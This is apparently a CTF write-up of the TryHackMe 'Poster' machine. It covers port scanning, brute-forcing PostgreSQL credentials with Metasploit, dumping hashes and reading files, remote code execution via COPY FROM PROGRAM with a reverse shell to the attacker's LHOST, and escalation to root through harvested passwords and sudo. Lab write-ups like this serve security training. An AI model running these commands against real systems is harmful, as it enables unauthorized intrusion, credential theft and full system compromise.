Poster — TryHackme
Introduction
In this writeup, we will approach the target from a real-world penetration testing perspective rather than simply solving it as a CTF challenge. The goal is to follow a structured methodology that can be applied in real engagements, including enumeration, service exploitation, credential discovery, and privilege escalation.
Enumeration
Initial Enumeration
As always, we start with a full port scan to understand the attack surface:
nmap -sV -p- -T4 <target>The scan reveals:
- SSH (22)
- Web server (80)
- PostgreSQL (5432)
Web Enumeration
Accessed the web server on port 80.
The website was static and didn’t reveal anything useful.
Performed directory brute forcing:
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txtNo interesting directories or files were found.
So moved to the next service.
PostgreSQL Exploitation
Now we shift focus to PostgreSQL.
Opened Metasploit and searched for PostgreSQL modules:
search postgres type:auxiliaryAttempting Authentication
Since PostgreSQL requires authentication, the first step is to try logging in.
A common approach here is to perform a brute-force or credential guessing attack.
We use the login module:
use auxiliary/scanner/postgres/postgres_login
set rhosts <target>
set verbose false
set stop_on_success true
runAfter running the module, we successfully obtain credentials:
postgres : password
This is a classic real-world misconfiguration — weak/default credentials.
Interacting with the Database
Now that we have valid credentials, we can start interacting with the database.
We first verify access and gather information about the database:
use auxiliary/admin/postgres/postgres_sql
set rhosts <target>
set USERNAME postgres
set PASSWORD password
runThis confirms:
PostgreSQL 9.5.x running on Ubuntu (64-bit)Dumping User Hashes
Next, we try to extract stored credentials from the database.
use auxiliary/scanner/postgres/postgres_hashdump
set rhosts <target>
set USERNAME postgres
set PASSWORD password
runWhy is this important?
- These hashes can be cracked offline
- Users often reuse passwords
- These credentials might work on SSH or other services
Reading Files from the System
Since we are authenticated, we can also attempt to read files from the underlying system:
use auxiliary/admin/postgres/postgres_readfile
set rhosts <target>
set USERNAME postgres
set PASSWORD password
runThis is very powerful because databases sometimes have permissions to read system files
We might find:
- configuration files
- credentials
- SSH keys
Gaining Shell & Privilege Escalation
Exploiting PostgreSQL for RCE
After gaining valid database credentials, the next step is to see if we can move beyond database access and get remote command execution (RCE) on the system.
While searching for PostgreSQL exploits:
search postgres type:exploitWe find an interesting module:
exploit/multi/postgres/postgres_copy_from_program_cmd_execThis exploit allows command execution through PostgreSQL using the COPY FROM PROGRAM feature.
Getting a Shell
We use the exploit with our credentials:
use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
set rhosts <target>
set LHOST <your-ip>
set USERNAME postgres
set PASSWORD password
runUpgrading to a Meterpreter Shell
After gaining initial access through the PostgreSQL exploit, the shell we obtained was a basic shell. While it works, it is limited and does not provide advanced post-exploitation features.
Get Azzam Mohammed (WHHacker)’s stories in your inbox
Join Medium for free to get updates from this writer.
Inside Metasploit, we list our active sessions:
sessionsThen upgrade the shell using:
sessions -u 1After upgrading the shell to Meterpreter, we can start performing local enumeration to better understand the system.
sysinfoFrom this, we can confirm:
- The system is running Ubuntu 16.04
- We are still operating as the postgres user
- The system is relatively old → possible privilege escalation opportunities
Enumerating the System
When I tried:
cat /home/alison/user.txtIt returned:
So we need to find credentials or another path.
Finding Credentials
While exploring user directories, found a file:
cat /home/dark/credentials.txtTried switching user:
shell
/bin/bash -i
su darkHere this means Before using su, we need a proper interactive shell.
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 40 columns 120But even after switching, still no access to Alison’s files.
This shows that not all users have useful privileges — we need better credentials.
Exploring Web Configuration Files
Since this is a web server, a good approach is to check for configuration files.
Navigated to:
cd /var/www/htmlThen read:
cat config.phpHere we got alison’s password p4ssw0rdS3cur3!#
switching to Alison
Here this means Before using su, we need a proper interactive shell.
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 40 columns 120Switch to alison user
su alisonGetting User Flag :
cat /home/alison/user.txtPrivilege Escalation
After gaining access as a low-privileged user, the next step is to check what commands we are allowed to run with elevated privileges.
The first thing to do during privilege escalation is always:
sudo -lThis command lists the sudo permissions for the current user.
This means the user can execute any command as root, which leads to direct privilege escalation.
Getting Root Access :
Since we have full sudo privileges, we can directly switch to the root user:
sudo suEnter the password of alison: p4ssw0rdS3cur3!#
Getting Root Flag :
cat /root/root.txtConclusion
In this machine, we started with proper enumeration and identified multiple exposed services. After testing the web application and finding no useful entry point, we shifted our focus to the PostgreSQL service, which led to valid credentials through a brute-force attack.
Using these credentials, we were able to interact with the database, extract hashes, and eventually exploit PostgreSQL to gain remote command execution. From there, we performed local enumeration, discovered additional credentials in system files, and gained access to a higher-privileged user.
Finally, by checking sudo permissions, we identified a misconfiguration that allowed full root access, leading to complete compromise of the system.










